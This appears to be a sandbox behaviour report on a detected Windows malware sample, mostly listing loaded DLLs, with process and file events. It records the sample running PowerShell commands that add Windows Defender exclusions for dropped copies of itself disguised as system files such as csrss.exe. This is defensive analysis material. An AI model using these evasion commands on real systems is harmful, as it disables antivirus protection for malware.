Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File created: C:\Users\user\Desktop\hGwsXsdP.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5980:120:WilError_03
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\e32e8e8116ffca3524c66ea65e2eea691227f6f4e844f9dca8aabb77b799c790
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6264:120:WilError_03

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File created: C:\Users\user\AppData\Local\Temp\v1ufzUQx4z

Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat"

Source: fDTPlvsGfH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fDTPlvsGfH.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fDTPlvsGfH.exe

ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

File read: C:\Users\user\Desktop\fDTPlvsGfH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fDTPlvsGfH.exe "C:\Users\user\Desktop\fDTPlvsGfH.exe"
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe "C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe "C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe"

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
